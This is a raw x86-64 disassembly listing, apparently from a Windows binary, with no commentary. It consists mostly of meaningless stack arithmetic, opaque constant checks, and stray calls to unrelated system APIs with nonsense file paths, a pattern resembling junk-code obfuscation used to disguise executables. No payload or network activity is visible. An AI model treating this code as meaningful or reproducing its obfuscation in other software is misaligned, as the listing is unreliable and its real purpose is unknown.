mov rcx, qword [rsp + 0x6a38]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xc0c], ax
mov rax, qword [rsp + 0x6a28]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3b2c]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6ac0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6a68]
mov rcx, qword [rsp + 0x6ad8]
mov qword [rsp + 0x6b38], rcx
movzx ecx, al
mov rax, qword [rsp + 0x6b38]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x6a20]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6b00]
mov rcx, qword [rsp + 0x6af8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3b4c], eax
mov rax, qword [rsp + 0x6a50]
mov rcx, qword [rsp + 0x6a70]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6aa0]
mov qword [rcx], rax
movsx eax, byte [rsp + 0x43]
mov rcx, qword [rsp + 0x6a78]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x6a58]
mov byte [rcx], al
mov rax, qword [rsp + 0x6a18]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc08]
sub eax, ecx
mov rcx, qword [rsp + 0x69d8]
mov word [rcx], ax
movzx eax, word [rsp + 0xc24]
mov rcx, qword [rsp + 0x6b30]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xc1c], ax
mov rax, qword [0x14017a4d8]
mov ecx, dword [rsp + 0x3b94]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [0x14017a4d8]
mov dword [rcx], eax
movsx eax, word [rsp + 0xc08]
mov rcx, qword [rsp + 0x6a18]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xc18], ax
mov rax, qword [rsp + 0x6a70]
mov rcx, qword [rsp + 0x6a50]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6aa0]
mov qword [rcx], rax
jmp 0x140005d84
mov rax, qword [rsp + 0x6aa0]
mov rcx, qword [rsp + 0x6a70]
mov rax, qword [rax]
add rax, rcx
cmp rax, qword [rsp + 0x6a50]
jl 0x14015e158
mov rax, qword [rsp + 0x6aa0]
mov rcx, qword [rsp + 0x6a70]
mov rax, qword [rax]
add rax, rcx
cmp rax, qword [rsp + 0x6a50]
jg 0x140006272
movzx eax, byte [rsp + 0x40]
movzx ecx, byte [rsp + 0x42]
add eax, ecx
mov rcx, qword [rsp + 0x69b8]
mov byte [rcx], al
lea rax, [rsp + 0xc18]
mov qword [rsp + 0x6b40], rax
movzx eax, word [rsp + 0xc1c]
imul eax, eax, 0xf29
mov word [rsp + 0xc14], ax
mov rax, qword [rsp + 0x6a10]
movzx eax, byte [rax]
mov byte [rsp + 0x45], al
movsx eax, byte [rsp + 0x43]
mov rcx, qword [rsp + 0x6a58]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x44], al
mov eax, dword [rsp + 0x3b68]
mov dword [rsp + 0x3b9c], eax
cmp dword [rsp + 0x3b9c], 0xc7a8
je 0x1400062a8
jmp 0x140006354
mov rcx, qword [rsp + 0x6b48]
call qword [sym.imp.COMCTL32.dll_MakeDragList]
mov dword [rsp + 0x3ad4], eax
mov rax, qword [rsp + 0x6aa0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6a50]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x6a70], rax
mov rax, qword [rsp + 0x6a50]
mov qword [rsp + 0x6b50], rax
movabs rax, 0x769dc96e3d16d1
cmp qword [rsp + 0x6b50], rax
je 0x140006304
jmp 0x140006333
movzx r9d, word [rsp + 0xc18]
movzx r8d, word [rsp + 0xc14]
mov rax, qword [rsp + 0x6b10]
movzx edx, word [rax]
mov rax, qword [rsp + 0x6a28]
mov ecx, dword [rax]
call fcn.14015ebc0
nop
jmp 0x14000634f
mov rax, qword [rsp + 0x6ab0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x43]
sub eax, ecx
mov rcx, qword [rsp + 0x6a58]
mov byte [rcx], al
jmp 0x1400064b7
lea rax, [rsp + 0x69b0]
mov qword [rsp + 0x6b58], rax
mov rax, qword [rsp + 0x6a40]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x69b8]
movzx ecx, byte [rcx]
add eax, ecx
movzx ecx, byte [rsp + 0x40]
movzx edx, byte [rsp + 0x42]
add ecx, edx
cmp eax, ecx
jg 0x1400064b7
movzx eax, byte [rsp + 0x40]
mov rcx, qword [rsp + 0x6a10]
movzx ecx, byte [rcx]
sub eax, ecx
movzx ecx, byte [rsp + 0x45]
mov rdx, qword [rsp + 0x69b8]
movzx edx, byte [rdx]
sub ecx, edx
cmp eax, ecx
jg 0x1400064a7
mov eax, dword [0x14017a4d0]
mov dword [rsp + 0x3b2c], eax
movzx eax, word [rsp + 0xc24]
mov dword [rsp + 0x3ba0], eax
cmp dword [rsp + 0x3ba0], 0x3f7
je 0x14000647f
cmp dword [rsp + 0x3ba0], 0x2c46
je 0x1400063fb
jmp 0x1400064a7
mov eax, dword [rsp + 0x3b2c]
mov ecx, dword [rsp + 0x3af0]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6ac0]
mov edx, dword [rsp + 0x3abc]
mov ecx, dword [rcx]
add ecx, edx
cmp eax, ecx
je 0x14000647d
lea rax, [rsp + 0x41]
mov qword [rsp + 0x6b60], rax
mov rax, qword [rsp + 0x6a10]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x42]
or eax, ecx
mov rcx, qword [rsp + 0x69b8]
mov byte [rcx], al
mov rax, qword [rsp + 0x6ae8]
mov rcx, qword [rsp + 0x6b58]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [0x140179010], rax
lea rax, [rsp + 0xc20]
mov qword [rsp + 0x6b68], rax
jmp 0x1400064a7
lea r9, [rsp + 0x43]
lea r8, [rsp + 0x3ba4]
lea rdx, [fcn.14015f140]
mov rcx, qword [rsp + 0x6b70]
call sub.COMCTL32.dll_Ordinal_411
mov dword [rsp + 0x3ba8], eax
movzx eax, byte [rsp + 0x40]
movzx ecx, byte [rsp + 0x45]
shl eax, cl
mov byte [rsp + 0x42], al
movzx eax, byte [rsp + 0x44]
mov byte [rsp + 0x3bac], al
cmp byte [rsp + 0x3bac], 0
je 0x1400064d2
jmp 0x14015dfff
movzx eax, word [rsp + 0xc10]
mov rcx, qword [rsp + 0x6a38]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x6b30]
movzx ecx, word [rcx]
mov rdx, qword [rsp + 0x69e0]
movzx edx, word [rdx]
sub ecx, edx
cmp eax, ecx
jg 0x14015dfa8
mov rax, qword [rsp + 0x6aa0]
mov rax, qword [rax]
mov qword [rsp + 0x6b78], rax
movabs rax, 0x73a2d96a76fc42
cmp qword [rsp + 0x6b78], rax
je 0x140006530
jmp 0x140006565
lea rcx, [rsp + 0x20090]
call qword [sym.imp.COMCTL32.dll_PropertySheetA]
mov dword [rsp + 0x3b2c], eax
mov rax, qword [0x14017a4d8]
mov ecx, dword [rsp + 0x3b68]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [0x14017a4d8]
mov dword [rcx], eax
jmp 0x14000663f
mov rax, qword [rsp + 0x6b60]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x41]
shl eax, cl
mov byte [rsp + 0x44], al
mov rax, qword [rsp + 0x6b58]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6a20]
mov qword [rsp + 0x6b80], rcx
movzx ecx, al
mov rax, qword [rsp + 0x6b80]
mov rax, qword [rax]
shr rax, cl
mov rcx, qword [rsp + 0x6a48]
mov rdx, qword [rsp + 0x6a68]
and rdx, rcx
mov rcx, rdx
cmp rax, rcx
jae 0x14000663f
mov rax, qword [0x14017a4d8]
mov ecx, dword [rsp + 0x3b68]
mov eax, dword [rax]
sub eax, ecx
mov ecx, dword [rsp + 0x3b94]
mov edx, dword [section..data]
sub edx, ecx
mov ecx, edx
cmp eax, ecx
ja 0x14000663f
movzx eax, byte [rsp + 0x42]
mov rcx, qword [rsp + 0x6a40]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x45], al
mov rcx, qword [rsp + 0x6b88]
call qword [sym.imp.COMCTL32.dll_MakeDragList]
mov dword [rsp + 0x3bb0], eax
mov rax, qword [rsp + 0x6aa0]
mov r9, qword [rax]
mov rax, qword [rsp + 0x6b00]
mov r8d, dword [rax]
mov edx, dword [rsp + 0x3b58]
mov rcx, qword [rsp + 0x6a70]
call fcn.14015f140
nop
mov rax, qword [0x14017a4d8]
mov eax, dword [rax]
mov dword [rsp + 0x3bb4], eax
cmp dword [rsp + 0x3b30], 0x5b6d
jb 0x140006845
mov rax, qword [rsp + 0x6ae8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x69b0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x6a68], rax
mov rax, qword [rsp + 0x6ad0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3abc]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x3b34], eax
mov rax, qword [rsp + 0x6aa0]
mov rcx, qword [rsp + 0x6a70]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x6a50], rax
movsx eax, byte [rsp + 0x43]
movsx ecx, byte [rsp + 0x41]
add eax, ecx
mov rcx, qword [rsp + 0x6a78]
mov byte [rcx], al
mov rax, qword [rsp + 0x6a38]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xc0c]
add eax, ecx
mov rcx, qword [rsp + 0x6a38]
mov word [rcx], ax
mov rax, qword [0x14017a4d8]
mov ecx, dword [rsp + 0x3b64]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [0x14017a4d8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x69e0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x6a38]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x6b30]
mov word [rcx], ax
movsx eax, byte [rsp + 0x41]
mov rcx, qword [rsp + 0x6a58]
movsx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x6ab0]
mov byte [rcx], al
mov eax, dword [rsp + 0x3b64]
mov rcx, qword [0x14017a4d8]
mov qword [rsp + 0x6b90], rcx
movzx ecx, al
mov rax, qword [rsp + 0x6b90]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x3b94], eax
mov rax, qword [rsp + 0x6ac0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3b34]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6af8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x3b30]
sub eax, 0x3d
mov dword [rsp + 0x3b30], eax
mov rax, qword [0x140179010]
mov rcx, qword [rsp + 0x6a68]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6b58]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6a70]
mov rcx, qword [rsp + 0x6a50]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6aa0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6b10]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x69d8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xc08], ax
mov rax, qword [rsp + 0x6b68]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x6b10]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xc18], ax
mov rax, qword [rsp + 0x69b8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x40]
add eax, ecx
mov byte [0x140179008], al
jmp 0x14000664f
mov rax, qword [rsp + 0x6a40]
movzx eax, byte [rax]
mov byte [rsp + 0x3bb8], al
cmp byte [rsp + 0x3bb8], 0x58
je 0x140006870
cmp byte [rsp + 0x3bb8], 0x63
je 0x1400068c6
jmp 0x14000690e
mov rax, qword [rsp + 0x6a58]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x6b60]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x44], al
lea rcx, [rsp + 0x200f0]
call qword [sym.imp.COMCTL32.dll_PropertySheetA]
mov dword [rsp + 0x3abc], eax
mov rax, qword [rsp + 0x6b68]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x6a18]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x6b10]
mov word [rcx], ax
jmp 0x14000690e
mov eax, dword [rsp + 0x3b58]
mov ecx, dword [0x140179004]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3b4c], eax
movzx r9d, word [rsp + 0xc18]
mov rax, qword [rsp + 0x69e0]
movzx r8d, word [rax]
mov rax, qword [rsp + 0x6b10]
movzx edx, word [rax]
mov rax, qword [rsp + 0x6b00]
mov ecx, dword [rax]
call fcn.14015ebc0
nop
mov eax, dword [rsp + 0x3b64]
mov ecx, dword [rsp + 0x3b14]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3bb4], eax
mov rax, qword [rsp + 0x69e0]
movzx eax, word [rax]
mov dword [rsp + 0x3bbc], eax
cmp dword [rsp + 0x3bbc], 0x708
je 0x14000694b
jmp 0x140006aad
mov rax, qword [rsp + 0x6a78]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x44]
sub eax, ecx
movsx ecx, byte [rsp + 0x41]
mov dword [rsp + 0x3bc0], ecx
mov rdx, qword [rsp + 0x6ab0]
movsx edx, byte [rdx]
movzx ecx, dl
mov edx, dword [rsp + 0x3bc0]
shl edx, cl
mov ecx, edx
cmp eax, ecx
je 0x140006a7e
mov rax, qword [rsp + 0x6a48]
movzx ecx, al
mov rax, qword [rsp + 0x69b0]
shr rax, cl
mov qword [rsp + 0x6a68], rax
movzx eax, byte [rsp + 0x44]
mov byte [rsp + 0x3bc4], al
cmp byte [rsp + 0x3bc4], 0xc
je 0x140006a66
cmp byte [rsp + 0x3bc4], 0x22
je 0x1400069d1
jmp 0x140006a7e
mov rax, qword [rsp + 0x6aa0]
mov rcx, qword [rsp + 0x6a50]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x6aa0]
mov qword [rcx], rax
lea rax, [rsp + 0x6a10]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x6b08]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x20010]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x20038]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x69f0]
mov r8, qword [rsp + 0x69f8]
lea rdx, str.C:BiscuityAudaciouslyPolice
mov ecx, 0xf9
call sub.VERSION.dll_VerFindFileA
mov dword [rsp + 0x3bc8], eax
mov rax, qword [rsp + 0x6a58]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x41]
or eax, ecx
mov byte [rsp + 0x43], al
jmp 0x140006a7e
movzx eax, byte [rsp + 0x45]
movzx ecx, byte [0x140179008]
and eax, ecx
mov rcx, qword [rsp + 0x6a40]
mov byte [rcx], al
movzx r9d, word [rsp + 0xc20]
movzx r8d, word [rsp + 0xc0c]
movzx edx, word [rsp + 0xc20]
mov rax, qword [rsp + 0x6ad0]
mov ecx, dword [rax]
call fcn.14015ebc0
nop
jmp 0x14015df93
mov rax, qword [rsp + 0x69e0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xc0c]
sub eax, ecx
mov word [0x140179018], ax
mov rax, qword [0x14017a4d8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3b68]
add ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x3b14]
mov edx, dword [rsp + 0x3bb4]
add edx, ecx
mov ecx, edx
cmp eax, ecx
ja 0x140006b58
mov rax, qword [rsp + 0x6a18]
movzx eax, word [rax]
mov word [rsp + 0xc28], ax
mov rax, qword [rsp + 0x69e0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xc14]
add eax, ecx
mov word [rsp + 0xc1c], ax
mov rax, qword [rsp + 0x69e0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x6a38]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x6b30]
mov word [rcx], ax
lea rax, [rsp + 0x45]
mov qword [rsp + 0x6b98], rax
jmp 0x140006caf
movzx eax, byte [rsp + 0x40]
movzx ecx, byte [rsp + 0x42]
add eax, ecx
movzx ecx, byte [rsp + 0x45]
movzx edx, byte [0x140179008]
or ecx, edx
cmp eax, ecx
jl 0x140006c5b
mov rax, qword [rsp + 0x6aa0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6a50]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x6a70], rax
mov rax, qword [rsp + 0x6ab0]
movzx eax, byte [rax]
mov byte [rsp + 0x3bcc], al
cmp byte [rsp + 0x3bcc], 4
je 0x140006bc6
cmp byte [rsp + 0x3bcc], 0x3c
je 0x140006c3d
jmp 0x140006c59
mov rax, qword [rsp + 0x6a20]
mov rcx, qword [rsp + 0x69b0]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x6ad8]
mov qword [rcx], rax
mov edx, 0xf9
mov ecx, 0x6a
call qword [sym.imp.KERNEL32.dll_SetProcessShutdownParameters]
mov dword [rsp + 0x3bd0], eax
mov rax, qword [rsp + 0x6b58]
mov rcx, qword [rsp + 0x6a68]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x6a48], rax
mov rax, qword [rsp + 0x6ad0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3af0]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6b00]
mov dword [rcx], eax
jmp 0x140006c59
movzx eax, word [rsp + 0xc0c]
mov rcx, qword [rsp + 0x69e0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x140179018], ax
jmp 0x140006caf
movzx eax, word [rsp + 0xc24]
movzx ecx, word [rsp + 0xc10]
shl eax, cl
movzx ecx, word [rsp + 0xc14]
mov dword [rsp + 0x3bd4], ecx
movzx edx, word [rsp + 0xc1c]
movzx ecx, dl
mov edx, dword [rsp + 0x3bd4]
sar edx, cl
mov ecx, edx
cmp eax, ecx
jg 0x140006caf
mov rdx, qword [rsp + 0x69b0]
mov rax, qword [rsp + 0x6ae8]
mov rcx, qword [rax]
call fcn.14015f630
nop
mov rax, qword [0x14017a4d8]
mov ecx, dword [section..data]
mov eax, dword [rax]
add eax, ecx
mov ecx, dword [rsp + 0x3b68]
mov edx, dword [rsp + 0x3b14]
sub edx, ecx
mov ecx, edx
cmp eax, ecx
ja 0x14015df6a
movsx eax, byte [rsp + 0x41]
movsx ecx, byte [rsp + 0x44]
add eax, ecx
mov byte [rsp + 0x43], al
mov rax, qword [rsp + 0x69d8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x6b10]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x6a18]
mov word [rcx], ax
movzx eax, byte [rsp + 0x42]
movzx ecx, byte [rsp + 0x40]
sub eax, ecx
mov rcx, qword [rsp + 0x6b98]
mov byte [rcx], al
movsx eax, byte [rsp + 0x43]
mov rcx, qword [rsp + 0x6b60]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x6a78]
mov byte [rcx], al
mov rax, qword [rsp + 0x6aa0]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x6a70]
shl rax, cl
mov qword [rsp + 0x6a50], rax
mov rax, qword [rsp + 0x6ac0]
mov rcx, qword [rsp + 0x6ad0]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x3b4c], eax
mov rax, qword [rsp + 0x6ae8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x6a48]
shr rax, cl
mov rcx, qword [rsp + 0x6b58]
mov qword [rcx], rax
mov rax, qword [0x14017a4d8]
mov ecx, dword [rsp + 0x3b14]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x3bb4], eax
mov rax, qword [0x14017a4d8]
mov ecx, dword [rsp + 0x3b68]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [0x14017a4d8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6b40]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x6b68]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xc20], ax
mov rax, qword [rsp + 0x69e0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xc1c]
and eax, ecx
mov word [rsp + 0xc0c], ax
movzx eax, byte [rsp + 0x42]
movzx ecx, byte [rsp + 0x45]
sub eax, ecx
mov byte [rsp + 0x40], al
mov rax, qword [rsp + 0x6b60]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x6a58]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x44], al
mov rax, qword [rsp + 0x6aa0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6a50]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x6a70], rax
mov rax, qword [rsp + 0x6a28]
mov ecx, dword [rsp + 0x3b4c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3abc], eax
mov rax, qword [rsp + 0x6aa0]
mov rcx, qword [rsp + 0x6a70]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x6aa0]
mov qword [rcx], rax
mov eax, dword [rsp + 0x3b78]
add eax, 0xcf
mov dword [rsp + 0x3b78], eax
mov rax, qword [rsp + 0x6a48]
mov rcx, qword [rsp + 0x6a68]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x69b0], rax
mov rax, qword [0x14017a4d8]
mov ecx, dword [rsp + 0x3bb4]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [0x14017a4d8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x69d8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x6b68]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xc28], ax
movzx eax, word [rsp + 0xc1c]
mov rcx, qword [rsp + 0x6a38]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xc24], ax
mov rax, qword [rsp + 0x6ab0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x41]
xor eax, ecx
mov byte [rsp + 0x44], al
movsx eax, word [rsp + 0xc28]
mov rcx, qword [rsp + 0x69d8]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0xc08], ax
mov rax, qword [rsp + 0x6ac0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x6b00]
mov qword [rsp + 0x6ba0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x6ba0]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x6ad0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6aa0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6a70]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x6a50], rax
mov rax, qword [rsp + 0x6b58]
mov rcx, qword [rsp + 0x6ae8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x6a68], rax
mov rax, qword [0x14017a4d8]
mov eax, dword [rax]
mov dword [rsp + 0x3bc8], eax
cmp dword [rsp + 0x3b78], 0x751f
jbe 0x140006cda
mov rax, qword [rsp + 0x6b40]
movzx eax, word [rax]
mov word [0x14017a4e4], ax
movzx eax, byte [rsp + 0x45]
mov byte [rsp + 0x3bd8], al
cmp byte [rsp + 0x3bd8], 0
je 0x140007019
jmp 0x1400070d9
movzx eax, byte [rsp + 0x42]
movzx ecx, byte [rsp + 0x45]
add eax, ecx
mov byte [rsp + 0x40], al
movzx eax, byte [rsp + 0x40]
mov byte [rsp + 0x3bdc], al
cmp byte [rsp + 0x3bdc], 0
je 0x140007041
jmp 0x14000709f
lea rax, [rsp + 0x44]
mov qword [rsp + 0x6ba8], rax
mov rax, qword [rsp + 0x69e0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x6a38]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xc10], ax
movzx eax, byte [rsp + 0x45]
mov rcx, qword [rsp + 0x6b98]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x69b8]
mov byte [rcx], al
mov rax, qword [rsp + 0x6aa0]
mov rax, qword [rax]
mov qword [rsp + 0x6bb0], rax
jmp 0x1400070d7
mov rax, qword [rsp + 0x69b8]
movzx eax, byte [rax]
movzx ecx, byte [0x140179008]
sub eax, ecx
mov rcx, qword [rsp + 0x69b8]
mov byte [rcx], al
mov rax, qword [rsp + 0x6ac0]
mov ecx, dword [rsp + 0x3b58]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3af0], eax
jmp 0x14000713e
mov dword [rsp + 0x20], 0xac
lea r9, [rsp + 0x20020]
lea r8, [rsp + 0xc28]
lea rdx, str.C:ecosystemleaner_bisect
lea rcx, str.C:equippedprobationPolyhedral_amid
call qword [sym.imp.KERNEL32.dll_MoveFileWithProgressA]
mov dword [rsp + 0x3b44], eax
mov rax, qword [rsp + 0x6a20]
mov rcx, qword [0x140179010]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x69b0], rax
mov rcx, qword [rsp + 0x6bb8]
call qword [sym.imp.KERNEL32.dll_FindVolumeClose]
mov dword [rsp + 0x3bb0], eax
movzx eax, word [rsp + 0xc0c]
movzx ecx, word [rsp + 0xc1c]
add eax, ecx
mov word [0x140179018], ax
movsx eax, byte [rsp + 0x44]
movsx ecx, byte [rsp + 0x43]
xor eax, ecx
mov byte [rsp + 0x41], al
mov rax, qword [rsp + 0x6a78]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x44]
sar eax, cl
mov byte [rsp + 0x43], al
movzx eax, byte [rsp + 0x45]
mov rcx, qword [rsp + 0x6a10]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x40], al
mov rax, qword [rsp + 0x6a38]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xc10]
shl eax, cl
mov rcx, qword [rsp + 0x6a38]
mov word [rcx], ax
mov rax, qword [rsp + 0x6bb0]
mov rcx, qword [rsp + 0x6a50]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6aa0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6ad8]
mov rcx, qword [rsp + 0x6a48]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x6ad8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6af8]
mov ecx, dword [rsp + 0x3b4c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3b58], eax
mov eax, dword [rsp + 0x3bc8]
mov ecx, dword [rsp + 0x3b94]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3b68], eax
mov rax, qword [0x14017a4d8]
mov ecx, dword [rsp + 0x3b68]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [0x14017a4d8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6b98]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x45]
and eax, ecx
mov byte [rsp + 0x42], al
movsx eax, byte [rsp + 0x41]
movsx ecx, byte [rsp + 0x43]
add eax, ecx
mov rcx, qword [rsp + 0x6b60]
mov byte [rcx], al
movzx eax, word [rsp + 0xc0c]
mov rcx, qword [rsp + 0x6a38]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x6b30]
mov word [rcx], ax
movsx eax, word [0x14017a4e0]
movsx ecx, word [rsp + 0xc20]
sub eax, ecx
mov word [rsp + 0xc28], ax
mov eax, dword [rsp + 0x3b94]
mov ecx, dword [rsp + 0x3bc8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3b68], eax
mov rax, qword [rsp + 0x6a68]
mov rcx, qword [rsp + 0x6a48]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6b58]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6aa0]
mov rcx, qword [rsp + 0x6bb0]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x6aa0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6ad0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x6b00]
mov qword [rsp + 0x6bc0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x6bc0]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x3b4c], eax
mov eax, dword [rsp + 0x3b14]
mov rcx, qword [0x14017a4d8]
mov qword [rsp + 0x6bc8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x6bc8]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [0x14017a4d8]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x41]
movsx ecx, byte [rsp + 0x44]
and eax, ecx
mov rcx, qword [rsp + 0x6ab0]
mov byte [rcx], al
movsx eax, word [rsp + 0xc20]
mov rcx, qword [rsp + 0x6b68]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xc08], ax
mov eax, dword [rsp + 0x3b90]
add eax, 0x66
mov dword [rsp + 0x3b90], eax
mov rax, qword [rsp + 0x6b98]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x45]
sub eax, ecx
mov byte [rsp + 0x42], al
movsx eax, word [0x14017a4e4]
movsx ecx, word [rsp + 0xc20]
sub eax, ecx
mov rcx, qword [rsp + 0x6a18]
mov word [rcx], ax
mov rax, qword [rsp + 0x6a20]
mov rcx, qword [rsp + 0x6b58]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x6a20]
mov qword [rcx], rax
